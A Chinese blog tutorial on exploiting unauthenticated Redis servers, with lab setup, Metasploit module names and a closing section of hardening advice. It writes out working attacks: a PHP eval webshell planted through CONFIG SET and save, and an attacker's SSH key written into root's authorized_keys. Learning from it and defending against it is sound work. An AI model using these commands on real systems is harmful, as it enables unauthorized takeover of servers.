/  

Redis提权 &GetShell 提权

环境准备

目标机器:129.168.186.4

Kali 开启 SSH

配置 Redis

wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
tar zxvf redis-3.2.11.tar.gz 
cd redis-3.2.11
cp redis.conf /etc/redis.conf
make
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
vim /etc/redis.conf

去掉 ip 绑定,允许除本地外的主机远程登录 redis 服务 前面加 #注释掉

关闭保护模式,允许远程连接 redis 服务将 yes 改为 no启动redis

启动服务
redis-server /etc/redis.conf

常用命令

连接 Redis 服务器

redis-cli -h ipadd

MSF 下利用模块

auxiliary/scanner/redis/file_upload 
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。

计划任务反弹 Shell

  • 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell

默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root

crontab -l 列出某个用户 cron 服务的详细内容

crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)

crontab -e 使用编辑器编辑当前的 crontab 文件

Web 目录写 Shell

  1. 当 redis 权限不高且服务器开着 web 服务
  2. redis 有 web 目录写权限
  3. 可以尝试往 web 路径写 webshell
redis-cli -h ip

ip:6379> config set dir /var/www/html/
OK
ip:6379> config set dbfilename shell.php
OK
ip:6379> set x "<?php @eval($_POST['shell']);?>"
OK
ip:6379> save
OK

写 ssh-key 公钥获取权限

  1. Redis 服务使用 ROOT 账号启动
  2. 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
ssh-keygen -t rsa

# 将公钥写入一个文件,内容前后要加两个换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 172.16.186.4 -x set crackit

ip:6379> config set dir /root/.ssh/
OK
ip:6379> config get dir
1) "dir"
2) "/root/.ssh"
ip:6379> config set dbfilename authorized_keys
OK
ip.4:6379> save
OK

# 使用私钥连接
➜ ssh -i id_rsa root@redis-ip

修复建议

  1. 禁止 Redis 服务对公网开放,可通过修改 redis.conf 配置文件中的 #bind 127.0.0.1 ,去掉前面的 # 即可(Redis 本来就是作为内存数据库,只要监听在本机即可)

  2. **设置密码访问认证,可通过修改 redis.conf 配置文件中的 requirepass 设置复杂密码 **

  3. 重启 Redis 服务

  4. 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器

  5. 保证 authorized_keys 文件的安全为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限

    chmod 400 ~/.ssh/authorized_keys
    

    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    chattr +i ~/.ssh/authorized_keys
    

然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:

chattr +i ~/.ssh

以低权限运行 Redis 服务(重启 redis 才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆


标题:Chisaka
作者:Chisaka
地址:https://www.xiaohongyan.cn/articles/2021/01/08/1610108064568.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。